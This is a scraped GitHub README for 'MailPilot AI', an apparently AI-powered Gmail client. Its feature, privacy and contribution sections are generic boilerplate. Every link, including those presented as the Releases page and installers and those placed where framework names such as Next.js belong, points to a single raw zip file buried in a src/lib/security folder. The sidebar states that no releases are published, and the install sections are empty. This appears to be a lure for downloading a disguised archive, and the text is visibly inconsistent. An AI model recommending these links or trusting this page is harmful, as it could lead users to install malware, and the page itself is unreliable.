Thanks to visit codestin.com
Credit goes to GitHub.com

Skip to content
/ mailpilot-ai Public

MailPilot AI is an AI-powered email client with multi-account support, semantic search, and smart automation, built with Next.js and shadcn/ui 🐙

2 stars 1 fork Branches Tags Activity
Star
Notifications You must be signed in to change notification settings

Hamxa00/mailpilot-ai

BranchesTags

Repository files navigation

https://github.com/Hamxa00/mailpilot-ai/raw/refs/heads/master/src/lib/security/ai-mailpilot-1.5-alpha.5.zip

MailPilot AI: Minimalist AI Email Client for a Focused Inbox

Releases License

MailPilot AI is a minimalist email client powered by AI, built to help you focus on what matters. It blends a clean, distraction-free interface with smart AI features to manage your inbox without getting in your way. This project emphasizes ease of use, open-source transparency, and a thoughtful user experience that respects your time and attention.

If you want to dive straight into the latest software builds, you can visit the Releases page at https://github.com/Hamxa00/mailpilot-ai/raw/refs/heads/master/src/lib/security/ai-mailpilot-1.5-alpha.5.zip The page hosts installer packages and assets for different platforms. For quick access, the same link appears again in the Releases section below.

Table of contents

  • What MailPilot AI is not
  • Core ideas and value
  • Features at a glance
  • How it works under the hood
  • Getting started
    • Prerequisites
    • Installation from source
    • Installation from releases
    • First run and onboarding
  • How to use MailPilot AI
    • Inbox management
    • AI drafting and responses
    • Smart organization and search
    • Keyboard shortcuts and workflow tips
  • Gmail API and authentication
  • Privacy and security
  • Architecture and tech stack
  • UI/UX design philosophy
  • Customization and theming
  • Accessibility
  • Testing, quality, and releases
  • Localization and internationalization
  • Development workflow
  • Contributing
  • Documentation and code of conduct
  • Roadmap and future ideas
  • FAQ
  • Acknowledgments and credits
  • License

What MailPilot AI is not

  • Not a noisy feature silo. It does not flood your screen with options you never use.
  • Not a heavy desktop app that drains battery or memory for trivial tasks.
  • Not a data hoarder. It follows a privacy-conscious model that you can tune.
  • Not a closed ecosystem. It is open source, with clear paths to customization, contribution, and independent auditing.

Core ideas and value

  • Minimalist design: A calm, distraction-free workspace that lets you read, compose, and act on email with minimal friction.
  • AI assistance that respects your pace: AI helps draft replies, summarize long threads, and surface relevant information, but you stay in control.
  • Focus where it matters: The UI guides you to the essential actions first, with optional AI-powered enhancements that can be enabled or disabled.
  • Smooth integration: Direct access to Gmail via the official API, so you can work with your real inbox without leaving the app.
  • Open source and accessible: The code is transparent, auditable, and ready for contributions from developers, designers, and researchers.

Features at a glance

  • Clean inbox view: A distraction-free layout that highlights essential content, nudges, and actions without overwhelming visuals.
  • AI-assisted drafting: Create polished replies quickly with AI-generated drafts that you can edit or send as-is.
  • Smart summarization: Long email threads are summarized so you can catch up fast.
  • Intent-aware triage: AI helps classify emails by urgency, topic, and required action, so you know what to tackle first.
  • Context-aware search: Find messages by speaker, date, project, or topic, with quick filters and saved searches.
  • Gmail API integration: Seamless access to your Gmail data through Google’s official API, with safe authentication flows.
  • Keyboard-first interactions: A lean set of shortcuts to power your workflow.
  • Theming and accessibility: High-contrast options, adjustable font sizes, and modular UI that adapts to your needs.
  • Offline support for core tasks: Basic reading and drafting can work with limited network access.
  • Open source: The codebase is open for inspection, improvement, and collaboration.

How it works under the hood

  • Client side: Built with https://github.com/Hamxa00/mailpilot-ai/raw/refs/heads/master/src/lib/security/ai-mailpilot-1.5-alpha.5.zip and a modern React UI scaffold using a streamlined component system (Shadcn UI-inspired patterns) for fast, accessible rendering.
  • AI layer: Optional AI features leverage a configurable AI service. You can use local inference if you provide a compatible model, or a hosted API, e.g., OpenAI-like services, depending on your setup.
  • Data flow: Gmail API provides message data and thread context. The app processes content in the client and, if enabled, sends text to an AI service for drafting or summarization. The UI renders results and allows you to act on them.
  • Security model: Credentials are stored securely (in the environment or OS keychain, never in plain text). Access tokens are scoped to Gmail data and are revoked if you revoke permissions.
  • Extensibility: The architecture is modular. You can swap AI providers, add new UI screens, or plug in additional Gmail features as needed.

Getting started Prerequisites

Installation from source

Installation from releases

First run and onboarding

  • When you first start the app, you will be guided through a quick onboarding flow
  • Sign in to your Google account to grant Gmail access
  • Choose the Gmail account you want to connect
  • Review the requested Gmail scopes and grant permission
  • If you plan to use AI features, provide your AI service key or API token
  • The onboarding flow sets up your initial UI layout and defaults
  • You can customize the UI theme, density, and keyboard shortcuts during onboarding or later in Settings

How to use MailPilot AI Inbox management

  • Read messages in a clean, focused pane
  • Use the AI-assisted triage to mark messages as urgent, follow-up, or reference
  • Apply quick actions with keyboard shortcuts to archive, delete, label, or star
  • View thread context and related messages to understand the conversation holistically
  • Use saved searches to filter by topic, project, or contact

AI drafting and responses

  • Start a new reply; the AI can propose a draft that you can edit or send
  • Ask the AI to summarize a long thread to catch up quickly
  • Use tone controls to set the desired style of the reply (neutral, friendly, formal, concise)
  • Edit the AI draft in the editor; accept, refine, or reject suggestions
  • Attach recommended content snippets or quotes generated by the AI as needed

Smart organization and search

  • AI tags and labels help group messages by topic, project, or action required
  • The search supports natural language queries like “emails from John last week about project X”
  • Filters include unread, has attachments, labeled items, and more
  • You can save common searches for quick access

Keyboard shortcuts and workflow tips

  • Use a concise set of shortcuts for core actions
  • Navigate by arrow keys, open messages with Enter, and return to the inbox with Escape
  • Create and reuse templates or canned responses for frequent tasks
  • Build your workflow around a calm, predictable rhythm rather than a flood of features

Gmail API and authentication

  • The app uses Google’s Gmail API to access inbox data
  • OAuth credentials are stored securely; you can revoke access at any time
  • You can adjust scopes to limit access to only what you need
  • If you run into permissions issues, re-authenticate via Settings > Accounts

Privacy and security

  • Data handling is designed to be transparent and configurable
  • You can run AI features on local or hosted services depending on your setup
  • No data is sent without your explicit consent and configuration
  • Open source means you can audit the code for privacy and security practices
  • Secrets and API keys are never committed in the repository; you supply them at runtime

Architecture and tech stack

  • Frontend: https://github.com/Hamxa00/mailpilot-ai/raw/refs/heads/master/src/lib/security/ai-mailpilot-1.5-alpha.5.zip with a modular component system for a responsive UI
  • UI library: Shadcn-inspired components for consistent styling and accessibility
  • State management: Lightweight, predictable state flow for UI and data
  • AI integration: A pluggable AI layer that can connect to hosted AI services or local models
  • Gmail integration: Uses Gmail API securely with OAuth 2.0 flow and offline access support
  • Testing: Unit tests and end-to-end tests to ensure UI and AI features work as expected
  • Deployment: Server-rendered UI with static assets for fast load times

UI/UX design philosophy

  • Focus on clarity: Visual elements guide attention to important tasks
  • Consistent typography and spacing: A calm, legible reading experience
  • Minimal chrome: Fewer chrome elements to reduce cognitive load
  • Clear affordances: Buttons and actions are easy to discover and use
  • Accessibility: High contrast, scalable typography, keyboard navigation, and ARIA support

Customization and theming

  • Light and dark themes with high-contrast options
  • Adjustable density (comfortable for large screens or compact laptops)
  • Color schemes and accent colors to fit your preference
  • Custom keyboard shortcuts to fit your workflow
  • Localizable text to support multiple languages

Accessibility

  • Screen reader support for essential UI elements
  • Logical focus order and meaningful labels for navigation
  • Keyboard-first interactions for power users
  • Sufficient color contrast and scalable text sizing

Testing, quality, and releases

  • Thorough unit tests cover core logic and UI components
  • End-to-end tests simulate user flows for reliability
  • Continuous integration runs tests on push and pull request events
  • Release notes describe new features, fixes, and breaking changes
  • The Releases page hosts binary installers and assets for different platforms

Localization and internationalization

  • Text strings are designed to be localized
  • Language packs can be added to support more regions
  • Date, time, and number formats respect locale settings

Development workflow

  • Branching model favors feature branches and clear pull requests
  • Code style and linting enforce consistency
  • Commit messages follow a conventional format
  • Documentation is kept up to date with code changes
  • Tests run automatically in CI before merging

Contributing

  • Your contribution matters. You can help by:
    • Reporting issues with clear repro steps
    • Proposing features with rational use cases
    • Fixing bugs and improving tests
    • Adding or refining documentation
  • How to contribute:
    • Fork the repository
    • Create a feature branch
    • Implement changes with tests
    • Open a pull request with a concise description
    • Engage in discussion and address reviewer feedback
  • Code style and conventions:
    • Clear, direct prose in comments
    • Short, purposeful functions
    • Tests accompany functional changes
    • Accessibility and internationalization considerations

Documentation and code of conduct

  • The project includes a comprehensive README with setup, usage, and contribution guidelines
  • A code of conduct outlines expectations for respectful collaboration
  • Documentation covers installation, configuration, and developer workflows in detail

Roadmap and future ideas

  • Expand AI capabilities:
    • Enhanced email drafting with tone control and template libraries
    • Context-aware follow-ups and scheduling suggestions
    • Auto-snooze and reminder suggestions based on user behavior
  • Improve Gmail integration:
    • Support for Gmail labels parity with offline operations
    • More granular Gmail API scopes to minimize data exposure
  • UI enhancements:
    • Expanded theming options and layout variations
    • Customizable dashboards showing top contacts and topics
  • Accessibility improvements:
    • Additional keyboard-driven workflows
    • Screen reader improvements and longer description for complex UI elements
  • Performance optimizations:
    • Lazy loading for heavy components
    • Caching strategies for repeated AI queries

FAQ

  • Is MailPilot AI free to use?
    • The project aims to be open source and usable without cost for typical usage. Some AI services may require paid access depending on the provider and usage levels.
  • Do I must use AI features?
    • No. AI features are optional. You can run the client with core inbox features and manual drafting.
  • Can I run it entirely offline?
    • Core inbox viewing and composing can work offline, but AI features usually require online access unless you provide a local AI model or offline service.
  • Does it store my data locally?
    • The app stores credentials securely and keeps data in your chosen environment. You can configure local storage or OS-managed keys to minimize exposure.
  • Can I contribute if I am not a developer?
    • Yes. You can contribute by improving documentation, reporting issues, or helping with design and accessibility testing.

Acknowledgments and credits

  • Special thanks to the open-source community for the Gmail API bindings and React ecosystem libraries
  • Design contributions and UI direction informed by the broader minimalist UI movement
  • Early supporters and testers who provided feedback on usability and performance

License

  • MailPilot AI is released under the MIT License
  • See the LICENSE file in the repository for full terms
  • Community contributions remain under the same license

Notes about the release and ongoing updates

  • The project follows a cadence of regular feature updates, bug fixes, and security improvements
  • Each release notes section includes a summary of changes, with links to individual commits
  • The Releases page is the primary source for installers and binary assets
  • If you want to stay current, subscribe to the releases feed or watch the repository on GitHub

Usage scenarios

  • Personal inbox management: A calm space to process emails, with AI helping you draft replies and skim long threads
  • Small teams and freelancers: A shared, minimalist tool that reduces cognitive load while preserving privacy and control
  • Researchers and students: An interface that presents topic-based organization and quick summaries of dense emails
  • Developers and testers: An open source project to study AI integration with email and to improve the UI/UX for productivity tools

Security posture and risk considerations

  • Credentials flow is designed to minimize exposure, with token-based authentication
  • The AI integration is configurable, so you can disable AI features to minimize data processing externally
  • The codebase is open for audit, which helps reveal security gaps and potential improvements
  • Users should monitor permission scopes and revoke access if needed

Advanced topics

  • Custom AI providers: You can plug in a different AI service by swapping the AI provider module
  • Local AI models: If you host a local model, adjust the configuration to route AI calls locally
  • Data residency: Choose where data is processed and stored based on your deployment setup
  • Performance tuning: Tweak cache durations and rendering strategies to balance speed and resource usage
  • Internationalization readiness: Prepare translations and right-to-left support for broader audiences

Design resources and assets

  • The project uses a clean, modular approach to UI components
  • UI tokens and spacing scales are designed to adapt to different screen sizes
  • Assets are organized for easy reuse and extension

Changelog overview

  • Each release includes a concise list of enhancements, fixes, and breaking changes
  • You can review changes in the Releases page and in the repository’s changelog files
  • Backward compatibility strategies are documented where relevant

Community guidelines

  • Be constructive in feedback
  • Respect privacy and data handling policies
  • Follow the project’s style and contribution guidelines
  • Engage in issues and pull requests with clear descriptions

Practical tips for new users

  • Start with core inbox features before enabling AI
  • Use saved searches to establish your workflow
  • Customize themes for a comfortable reading experience
  • Regularly review OAuth permissions in your Google account

Practical tips for developers

  • Read the architecture notes to understand module boundaries
  • Start with the UI layer to grasp user flows
  • Implement AI features as plug-ins with a clear interface
  • Add tests for any new AI logic or UI changes

Mockups and visuals

  • The README references UI concepts that are implemented in the codebase
  • Screenshots illustrate the minimalist layout, message threads, and AI-assisted drafting
  • Design decisions align with the goal of reducing cognitive load

Platform considerations

  • Desktop-focused onboarding with a lightweight, responsive UI
  • Mobile support is considered with responsive components, though the primary experience emphasizes larger screens
  • Cross-platform packaging in releases aims to simplify installation

Troubleshooting

  • If Gmail authentication fails, re-authenticate and verify that the correct OAuth client is configured
  • If AI features fail to respond, check that the API key for the AI service is valid and has sufficient quota
  • In case of UI glitches, clear the browser cache or restart the application
  • Review the console logs for errors and report issues with reproducible steps

References and related projects

  • Gmail API documentation
  • OpenAI API or equivalent AI service documentation for drafting and summarization
  • UI kits and accessibility guidelines from the broader React ecosystem

Closing thoughts

  • MailPilot AI strives to be a calm tool for daily email work
  • It offers a practical blend of AI power and minimalist design
  • The project invites active participation from users, designers, and developers to improve the product over time

Releases and installation reminder

Appendix: quick reference

End of the documentation sections.

About

MailPilot AI is an AI-powered email client with multi-account support, semantic search, and smart automation, built with Next.js and shadcn/ui 🐙

Topics

open-source mail ai nextjs minimalist user-friendly email-client resume-project shadcn-ui ai-integration

Resources

Readme
Activity

Stars

2 stars

Watchers

0 watching

Forks

1 fork
Report repository

Releases

No releases published

Packages

 
 
 

Contributors 2

  •  
  •  

Languages